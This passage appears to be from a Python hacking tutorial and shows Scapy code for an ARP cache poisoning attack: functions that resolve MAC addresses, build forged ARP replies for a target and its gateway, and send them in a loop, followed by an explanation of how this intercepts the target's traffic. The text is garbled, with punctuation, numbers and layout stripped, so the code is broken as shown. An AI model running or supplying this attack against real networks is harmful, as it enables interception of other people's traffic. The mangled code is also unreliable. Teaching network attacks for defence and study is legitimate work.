os kill(os getpid()signal sigintdef get_mac(ip_address)responses,unanswered srp(ether(dst="ff:ff:ff:ff:ff:ff")/arp(pdst=ip_address)timeout= ,retry= return the mac address from response for , in responsesreturn [ethersrc return none def poison_target(gateway_ip,gateway_mac,target_ip,target_mac)poison_target arp(poison_target op poison_target psrc gateway_ip poison_target pdst target_ip poison_target hwdsttarget_mac poison_gateway arp(poison_gateway op poison_gateway psrc target_ip poison_gateway pdst gateway_ip poison_gateway hwdstgateway_mac print "[*beginning the arp poison [ctrl- to stop]while truetrysend(poison_targetsend(poison_gatewaytime sleep( except keyboardinterruptrestore_target(gateway_ip,gateway_mac,target_ip,target_macprint "[*arp poison attack finished return so this is the meat and potatoes of the actual attack our restore_target function simply sends out the appropriate arp packets to the network broadcast address to reset the arp caches of the gateway and target machines we also send signal to the main thread to exitwhich will be useful in case our poisoning thread runs into an issue or you hit ctrl- on your keyboard our get_mac function is responsible for using the srp (send and receive packetfunction to emit an arp request to the specified ip address in order to resolve the mac address associated with it our poison_target function builds up arp requests for poisoning both the target ip and the gateway by poisoning both the gateway and the target ip addresswe can see traffic flowing in and out of the target we keep emitting these arp requests in loop to make sure that the respective arp cache entries remain poisoned for the duration of our attack let' take this bad boy for spin